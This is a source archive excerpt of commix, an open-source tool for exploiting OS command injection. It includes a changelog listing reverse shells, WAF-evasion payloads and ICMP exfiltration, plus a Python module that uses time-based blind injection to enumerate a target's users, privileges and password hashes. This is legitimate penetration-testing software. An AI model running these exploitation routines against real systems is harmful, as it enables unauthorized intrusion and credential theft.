_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.4b-20160204...v0.4.1b-20160226)._
## Version 0.4b (2016-02-04)
* Added: Payload mutation if WAF/IPS/IDS protection is detected.
* Added: Check for existence of WAF/IPS/IDS protection (via error pages).
* Added: The "set" option in "reverse_tcp" which sets a context-specific variable to a value.
* Added: New option `--force-ssl` for forcing usage of SSL/HTTPS requests.
_Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v0.3b-20160115...v0.4b-20160204)._
## Version 0.3b (2016-01-15)
* Added: Time-relative false-positive identification, which identifies unexpected time delays due to unstable requests.
* Added: New option `-l`, that parses target and data from HTTP proxy log file (i.e Burp or WebScarab).
* Added: Check if Powershell is enabled in target host, if the applied option's payload is requiring the use of PowerShell.
* Added: New option `--ps-version`, that checks PowerShell's version number.
* Replaced: Some powershell-based payloads, have been replaced by new (more solid) ones, so to avoid "Microsoft-IIS" server's incompatibilities.
* Added: Support (in MacOSX platforms) for a tab completion in shell options.
* Added: Undocumented parameter "-InputFormat none" so to avoid "Microsoft-IIS" server's hang.
* Added: Ability for identification of "Microsoft-IIS" servers.
* Added: Statistical checks for time-related ("time-based"/"tempfile-based") techniques.
* Added: Support for Windows-based (cmd / powershell) payloads for every injection technique.
## Version 0.2b (2015-12-18)
* Added: Support for recalling previous commands.
* Added: Support (in Linux platforms) for tab completion in shell options.
* Added: Support for alternative (Python) os-shell in dynamic code evaluation ("eval-based") technique.
* Added: Support for PHP/Python meterpreter on "reverse_tcp" shell option.
* Added: The "reverse_tcp" shell option.
* Added: The ability to check for default root directories (Apache/Nginx).
* Added: Support for removal of (txt) shell files in semiblind ("file-based"/"tempfile-based") techniques.
* Added: Support for JSON POST data.
* Added: The "enumeration" and "file-read" results to log file.
* Added: The ability to get the user's approval before re-{enumerate/file-read} target.
* Added: The ability to stop current injection technique and proceed on the next one(s).
## Version 0.1b (2015-09-20)
* Added: New eval-based payload for "str_replace()" filter bypass.
* Added: Check for (GET) RESTful URL format.
* Added: New option `--base64`, that encodes the OS command to Base64 format.
* Added: Support for regular "preg_replace()" injections via "/e" modifier.
* Added: Support for HTML Charset and HTTP "Server" response-header reconnaissance (on verbose mode).
* Replaced: Payloads for "tempfile-based" (semiblind) technique, have been replaced by new (more solid) ones.
* Added: A "new-line" separator support, for "time-based" (blind) & "tempfile-based" (semiblind) techniques.
* Added: Support for Referer HTTP header command injections.
* Added: Support for User-Agent HTTP header command injections.
* Added: CVE-2014-6278 support for "shellshock" module.
* Added: Support for cookie-based command injections.
* Added: A generic false-positive prevention technique.
* Removed: The "Base64" detection option.
* Added: Support for the Tor network.
* Added: The "shellshock" (CVE-2014-6271) injection technique (module).
* Added: Termcolor support for Windows (colorama).
* Added: File access options.
* Added: Enumeration options.
* Added: New option `--alter-shell` that supports an alternative option for os-shell (e.g. Python).
* Added: New option `--icmp-exfil` that supports the "ICMP exfiltration" injection technique (module).
* Added: The "tempfile-based" (semiblind) technique.
* Added: The "file-based" (semiblind) technique.
* Removed: The "boolean-based" (blind) technique.
* Added: More Options.
## Version 0.1a (2014-12-20)
* The initial release {aka the Birth!}.
commix-3.8/doc/THANKS.md 0000775 0000000 0000000 00000016675 14466364451 0014776 0 ustar 00root root 0000000 0000000 ## Corporate sponsorship:
* Thanks [Obrela Security Industries](https://www.obrela.com/) for sponsorship.
## List of individual donors:
* Thanks John Brinton for a donation.
* Thanks [Himself132](https://github.com/Himself132) for a donation.
* Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation.
## List of individual contributors:
* Thanks [0xFred](https://github.com/0xFred) for contributing code.
* Thanks [verfosec](https://github.com/verfosec) for contributing a Farsi(Persian) translation of README.md.
* Thanks [daniruiz](https://github.com/daniruiz) for contributing code.
* Thanks [galihap76](https://github.com/galihap76) for contributing an Indonesian translation of README.md.
* Thanks [JitPatro](https://github.com/JitPatro) for creating a snap package for commix (i.e. `snap install commix`).
* Thanks [0x27](https://github.com/0x27) for suggesting an enhancement.
* Thanks [609496288](https://github.com/609496288) for reporting a bug.
* Thanks [6kemb0bani](https://github.com/6kemb0bani) for reporting a bug.
* Thanks [Abdallah-Fouad-X](https://github.com/Abdallah-Fouad-X) for reporting a bug.
* Thanks [abdoxfox](https://github.com/abdoxfox) for reporting a bug.
* Thanks [ajinabraham](https://github.com/ajinabraham) for reporting a few bugs and for suggesting some features
* Thanks [Alan Placidina](https://github.com/Placidina) for contributing code.
* Thanks [alpha1e0](https://github.com/alpha1e0) for reporting a bug and for contributing code.
* Thanks [András Veres-Szentkirályi](https://github.com/dnet) for contributing code.
* Thanks [Anton Bolshakov](https://github.com/blshkv) for contributing code and for suggesting an enhancement.
* Thanks [apprentice](https://github.com/apprentice) for contributing code.
* Thanks [arbazkiraak](https://github.com/arbazkiraak) for suggesting a feature.
* Thanks [ayzikhn18](https://github.com/ayzikhn18) for reporting a bug.
* Thanks [B4RD4k](https://github.com/B4RD4k) for reporting a few bugs.
* Thanks [blshkv](https://github.com/blshkv) for reporting a bug and for suggesting a feature.
* Thanks [botdigit-admin](https://github.com/botdigit-admin) for reporting a bug.
* Thanks [CaptanLuffy](https://github.com/CaptanLuffy) for reporting a bug.
* Thanks [Cat0x00](https://github.com/Cat0x00) for reporting a bug.
* Thanks [ChenYun4164](https://github.com/ChenYun4164) for reporting a few bugs.
* Thanks [CINOAdam](https://github.com/CINOAdam) for reporting a bug.
* Thanks [Cxarli](https://github.com/Cxarli) for reporting a bug.
* Thanks [dabing1205](https://github.com/dabing1205) for reporting a bug.
* Thanks [dblock](https://github.com/dblock) for reporting a bug.
* Thanks [dloco01](https://github.com/dloco01) for reporting a bug.
* Thanks [doufu13](https://github.com/doufu13) for reporting a bug.
* Thanks [Doug-Wyman](https://github.com/Doug-Wyman) for reporting a bug.
* Thanks [ethicalhack3r](https://github.com/ethicalhack3r) for reporting a bug.
* Thanks [fuero](https://github.com/fuero) for contributing code.
* Thanks [g0tmi1k](https://github.com/g0tmi1k) for contributing code.
* Thanks [gcattani](https://github.com/gcattani) for reporting a bug.
* Thanks [ghost](https://github.com/ghost) for suggesting a feature.
* Thanks [h0nus](https://github.com/h0nus) for reporting a bug.
* Thanks [hack0mate](https://github.com/hack0mate) for reporting a bug.
* Thanks [hadiirani](https://github.com/hadiirani) for reporting a bug.
* Thanks [Hax0rG1rl](https://github.com/Hax0rG1rl) for suggesting an enhancement.
* Thanks [hcstorm](https://github.com/hcstorm) for reporting mutliple bugs.
* Thanks [Himself132](https://github.com/Himself132) for reporting a few bugs and for suggesting an enhancement.
* Thanks [init5-msft](https://github.com/init5-msft) for reporting a bug.
* Thanks [lacroutelacroute](https://github.com/lacroutelacroute) for reporting a few bugs.
* Thanks [Jean Helie](https://github.com/jhelie) for contributing code.
* Thanks [juushya](https://github.com/juushya) for reporting a bug.
* Thanks [kaczalapa](https://github.com/kaczalapa) for reporting a few bugs.
* Thanks [Kali95739](https://github.com/Kali95739) for reporting a bug.
* Thanks [liboLee](https://github.com/liboLee) for reporting a bug.
* Thanks [MidnightSeer](https://github.com/MidnightSeer) for reporting a bug.
* Thanks [mohammed-sec2010](https://github.com/mohammed-sec2010) for suggesting a feature.
* Thanks [MR-pentestGuy](https://github.com/MR-pentestGuy) for reporting a bug.
* Thanks [Narvalo999](https://github.com/Narvalo999) for reporting a few bugs.
* Thanks [Ny223](https://github.com/Ny223) for reporting a bug.
* Thanks [NullArray](https://github.com/NullArray) for reporting a bug.
* Thanks [onuryilmazinfo](https://github.com/onuryilmazinfo) for reporting a bug.
* Thanks [Parshuram2](https://github.com/Parshuram2) for reporting a bug.
* Thanks [plonibarploni](https://github.com/plonibarploni) for reporting a bug.
* Thanks [pomil-1969](https://github.com/pomil-1969) for reporting a bug.
* Thanks [powercrypt](https://github.com/powercrypt) for reporting a few bugs.
* Thanks [prince74igor](https://github.com/prince74igor) for suggesting an enhancement.
* Thanks [royharoush](https://github.com/royharoush) for suggesting an enhancement.
* Thanks [royshum93](https://github.com/royshum93) for reporting a bug.
* Thanks [SaifSalah](https://github.com/SaifSalah) for reporting a bug.
* Thanks [saltasatelites](https://github.com/saltasatelites) for reporting a bug.
* Thanks [scblakely](https://github.com/scblakely) for reporting a bug.
* Thanks [shaojava](https://github.com/shaojava) for reporting a bug.
* Thanks [shelld3v](https://github.com/shelld3v) for contributing code.
* Thanks [Simon](https://github.com/simonuvarov) for contributing code.
* Thanks [simonuvarov](https://github.com/simonuvarov) for reporting a bug.
* Thanks [Slavery](https://github.com/Slavery) for reporting a bug.
* Thanks [sno0ose](https://github.com/sno0ose) for reporting a bug.
* Thanks [somarrr](https://github.com/somarrr) for reporting a bug.
* Thanks [Suselz](https://github.com/Suselz) for reporting a few bugs and for suggesting suggesting enhancements.
* Thanks [td4b](https://github.com/td4b) for contributing code.
* Thanks [techn0tr0ll](https://github.com/techn0tr0ll) for reporting a bug.
* Thanks [Tensha](https://github.com/Tensha) for reporting a bug.
* Thanks [temp3l](https://github.com/temp3l) for reporting a bug.
* Thanks [thenight7](https://github.com/thenight7) for suggesting an enhancement.
* Thanks [Tim Gates](https://github.com/timgates42) for contributing code.
* Thanks [vincentubuntu](https://github.com/vincentubuntu) for reporting a bug.
* Thanks [vinod272](https://github.com/vinod272) for reporting a bug.
* Thanks [vmotos](https://github.com/vmotos) for reporting a bug.
* Thanks [vojtapolasek](https://github.com/vojtapolasek) for reporting a few bugs.
* Thanks [VolkNwn](https://github.com/VolkNwn) for reporting a bug.
* Thanks [w9w](https://github.com/w9w) for reporting a bug.
* Thanks [WangSongsen](https://github.com/WangSongsen) for reporting a bug.
* Thanks [webideveli](https://github.com/webideveli) for reporting a bug.
* Thanks [xsuperbug.](https://github.com/xsuperbug.) for suggesting a few features
* Thanks [XVilka](https://github.com/XVilka) for suggesting an enhancement.
* Thanks [yournainaidi](https://github.com/yournainaidi) for reporting a few bugs.
* Thanks [zaaazaa](https://github.com/zaaazaa) for reporting a bug.
* Thanks [zar3bski](https://github.com/zar3bski) for reporting a bug.
* Thanks [Zarcolio](https://github.com/Zarcolio) for reporting a bug.
commix-3.8/doc/translations/ 0000775 0000000 0000000 00000000000 14466364451 0016163 5 ustar 00root root 0000000 0000000 commix-3.8/doc/translations/README-fa-FA.md 0000664 0000000 0000000 00000007210 14466364451 0020312 0 ustar 00root root 0000000 0000000
**کامیکس** (مخفف [**کام**]ند ا[**ی**]نجکشن ا[**کس**]پلویتر) یک ابزار متنباز تستنفوذ است که توسط **[آناستاسیوس استاسینوپولوس](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**) نوشته شده است که فرایند کشف و بهرهبرداری از آسیپ پذیری های **[کامند اینجکشن](https://www.owasp.org/index.php/Command_Injection)** را خودکار میکند.
میتوانید از [مجموعه اسکرین شاتها](https://github.com/commixproject/commix/wiki/Screenshots) که نشاندهنده بعضی از ویژگیها است در صفحه ویکی دیدن کنید.
## نصب و راهاندازی
در هر پلتفرمی میتوانید با کلون کردن مخزن رسمی گیت کامیکس را دانلود کنید :
$ git clone https://github.com/commixproject/commix.git commix
از سوی دیگر, میتوانید جدیدترین [tarball](https://github.com/commixproject/commix/tarball/master) یا [zipball](https://github.com/commixproject/commix/zipball/master) را دانلود کیند.
*__توجه:__ **[پایتون](http://www.python.org/download/)** (نسخه **2.6**, **2.7** یا **3** به بعد) برای اجرای کامیکس مورد نیاز است.*
## استفاده
برای دریافت لیستی از همه گزینهها و سوئیچها از این دستور استفاده کنید:
$ python commix.py -h
برای دریافت نمای کلی از گزینههای موجود, سوئیچها و/یا ایدههای اساسی در مورد نحوه استفاده از کامیکس, بررسی **[استفاده](https://github.com/commixproject/commix/wiki/Usage)**, **[مثالهای استفاده](https://github.com/commixproject/commix/wiki/Usage-Examples)** و **[دور زدن فیلترها](https://github.com/commixproject/commix/wiki/Filters-Bypasses)**, بخش [ویکی](https://github.com/commixproject/commix/wiki) را بررسی کنید.
## پیوندها
* راهنمای کاربر: https://github.com/commixproject/commix/wiki
* ردیاب مسائل: https://github.com/commixproject/commix/issues
## ترجمهها
* [یونانی](https://github.com/commixproject/commix/blob/master/doc/translations/README-gr-GR.md)
* [اندونزیایی](https://github.com/commixproject/commix/blob/master/doc/translations/README-idn-IDN.md)
* [فارسی](https://github.com/commixproject/commix/blob/master/doc/translations/README-fa-FA.md) commix-3.8/doc/translations/README-gr-GR.md 0000664 0000000 0000000 00000006172 14466364451 0020364 0 ustar 00root root 0000000 0000000
To **commix** (συντομογραφία [**comm**]and [**i**]njection e[**x**]ploiter) είναι πρόγραμμα ανοιχτού κώδικα, γραμμένο από τον **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου **[command injection](https://www.owasp.org/index.php/Command_Injection)**.
## Εικόνα
## Εγκατάσταση
Μπορείτε να κατεβάσετε το commix σε κάθε πλατφόρμα κάνοντας κλώνο το επίσημο Git αποθετήριο:
$ git clone https://github.com/commixproject/commix.git commix
Εναλλακτικά, μπορείτε να κατεβάσετε την τελευταία [tarball](https://github.com/commixproject/commix/tarball/master) ή [zipball](https://github.com/commixproject/commix/zipball/master).
*__Σημείωση:__ H **[Python](http://www.python.org/download/)** (έκδοση **2.6**, **2.7** ή **3.x**) απαιτείται για την εκτέλεση του commix.*
## Χρήση
Για να λάβετε μια λίστα με όλες τις επιλογές και τους διακόπτες πατήστε:
$ python commix.py -h
Για να δείτε μια επισκόπηση των διαθέσιμων επιλογών, των διακοπτών ή / και βασικών ιδεών σχετικά με τον τρόπο χρήσης του commix, συμβουλευτείτε τις **[χρήση](https://github.com/commixproject/commix/wiki/Usage)**, **[παραδείγματα χρήσης](https://github.com/commixproject/commix/wiki/Usage-Examples)** και **[παράκαμψη φίλτρων](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** wiki σελίδες.
## Σύνδεσμοι
* Εγχειρίδιο χρήστη: https://github.com/commixproject/commix/wiki
* Παρακολούθηση προβλημάτων: https://github.com/commixproject/commix/issues
commix-3.8/doc/translations/README-idn-IDN.md 0000664 0000000 0000000 00000005233 14466364451 0020625 0 ustar 00root root 0000000 0000000
**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://www.owasp.org/index.php/Command_Injection)**.
Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixproject/commix/wiki/Screenshots) yang menunjukkan beberapa fitur di wiki.
## Instalasi
Anda dapat mengunduh commix di platform apa pun dengan mengkloning repositori resmi Git:
$ git clone https://github.com/commixproject/commix.git commix
Atau, Anda dapat mengunduh [tarball](https://github.com/commixproject/commix/tarball/master) atau [zipball](https://github.com/commixproject/commix/zipball/master) terbaru.
*__Catatan:__ **[Python](http://www.python.org/download/)** (versi **2.6**, **2.7** atau **3.x**) diperlukan untuk menjalankan commix.*
## Penggunaan
Untuk mendapatkan daftar semua opsi dan beralih gunakan:
$ python commix.py -h
Untuk mendapatkan gambaran umum tentang opsi commix yang tersedia, beralih dan / atau ide dasar tentang cara menggunakan commix, periksa **[penggunaan](https://github.com/commixproject/commix/wiki/Usage)**, **[contoh penggunaan](https://github.com/commixproject/commix/wiki/Usage-Examples)** dan **[bypass filter](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** halaman wiki.
## Link
* Panduan : https://github.com/commixproject/commix/wiki
* Pelacak masalah : https://github.com/commixproject/commix/issues
commix-3.8/setup.py 0000664 0000000 0000000 00000003257 14466364451 0014416 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from setuptools import setup, find_packages
setup(
name='commix',
version='3.8',
description='Automated All-in-One OS Command Injection Exploitation Tool',
long_description=open('README.md').read(),
long_description_content_type='text/markdown',
author='Anastasios Stasinopoulos',
url='https://commixproject.com',
project_urls={
'Documentation': 'https://github.com/commixproject/commix/wiki',
'Source': 'https://github.com/commixproject/commix',
'Tracker': 'https://github.com/commixproject/commix/issues',
},
license='GNU General Public License v3 (GPLv3)',
packages=find_packages(),
include_package_data=True,
zip_safe=False,
classifiers=[
'Development Status :: 5 - Production/Stable',
'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',
'Natural Language :: English',
'Operating System :: OS Independent',
'Programming Language :: Python',
'Environment :: Console',
'Topic :: Security',
],
entry_points={
'console_scripts': [
'commix = src.core.main:entry_point'
]
},
)
# eof commix-3.8/src/ 0000775 0000000 0000000 00000000000 14466364451 0013464 5 ustar 00root root 0000000 0000000 commix-3.8/src/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0015601 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/ 0000775 0000000 0000000 00000000000 14466364451 0014414 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0016531 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/compat.py 0000664 0000000 0000000 00000001066 14466364451 0016254 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import sys
if sys.version_info >= (3, 0):
xrange = range
else:
xrange = xrange commix-3.8/src/core/convert.py 0000664 0000000 0000000 00000002423 14466364451 0016447 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import codecs
import binascii
from src.utils import settings
from src.thirdparty import six
"""
Decode string for hex
"""
def hexdecode(value):
if value.lower().startswith("0x"):
value = value[2:]
try:
value = codecs.decode(''.join(value.split()), "hex")
except binascii.Error:
_ = False
return value, _
except LookupError:
value = binascii.unhexlify(value)
try:
value = value.decode(settings.DEFAULT_CODEC)
_ = True
except:
_ = False
return value, _
"""
Encode string to hex
"""
def hexencode(value):
if isinstance(value, six.text_type):
value = value.encode(settings.DEFAULT_CODEC)
try:
value = codecs.encode(value, "hex")
except LookupError:
value = binascii.hexlify(value)
value = value.decode(settings.DEFAULT_CODEC)
_ = True
return value, _
commix-3.8/src/core/injections/ 0000775 0000000 0000000 00000000000 14466364451 0016561 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/injections/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0020676 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/injections/blind/ 0000775 0000000 0000000 00000000000 14466364451 0017651 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/injections/blind/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0021766 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/injections/blind/techniques/ 0000775 0000000 0000000 00000000000 14466364451 0022021 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/injections/blind/techniques/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0024136 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/injections/blind/techniques/time_based/ 0000775 0000000 0000000 00000000000 14466364451 0024115 5 ustar 00root root 0000000 0000000 commix-3.8/src/core/injections/blind/techniques/time_based/__init__.py 0000664 0000000 0000000 00000000743 14466364451 0026232 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
pass commix-3.8/src/core/injections/blind/techniques/time_based/tb_enumeration.py 0000775 0000000 0000000 00000031015 14466364451 0027505 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import logs
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
from src.core.injections.controller import checks
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.blind.techniques.time_based import tb_injector
"""
The "time-based" injection technique on Blind OS Command Injection.
"""
"""
Powershell's version number enumeration (for Windows OS)
"""
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
cmd = settings.PS_VERSION
# if alter_shell:
# cmd = checks.escape_single_quoted_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
ps_version = output
checks.print_ps_version(ps_version, filename, _)
"""
Hostname enumeration
"""
def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
_ = True
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_hostname(shell, filename, _)
"""
Retrieve system information
"""
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_os = output
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
if target_os:
if settings.TARGET_OS != settings.OS.WINDOWS:
cmd = settings.DISTRO_INFO
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
if settings.VERBOSITY_LEVEL == 0 and _:
sys.stdout.write("")
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
distro_name = output
if len(distro_name) != 0:
target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
if settings.VERBOSITY_LEVEL == 0 and _:
sys.stdout.write("\n")
# The main command injection exploitation.
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_arch = output
checks.print_os_info(target_os, target_arch, filename, _)
"""
The current user enumeration
"""
def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, cu_account = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
_ = True
else:
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_current_user(cu_account, filename, _)
"""
Check if the current user has excessive privileges.
"""
def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
_ = True
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_current_user_privs(shell, filename, _)
"""
System users enumeration
"""
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
cmd = settings.SYS_USERS
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_SYS_USERS
cmd = cmd + settings.WIN_REPLACE_WHITESPACE
if alter_shell:
cmd = checks.escape_single_quoted_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
try:
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
except TypeError:
output = ""
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
sys_users = output
checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
"""
System passwords enumeration
"""
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response):
_ = False
cmd = settings.SYS_PASSES
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
check_how_long, output = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
_ = True
if output == False:
output = ""
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
sys_passes = output
checks.print_passes(sys_passes, filename, _, alter_shell)
"""
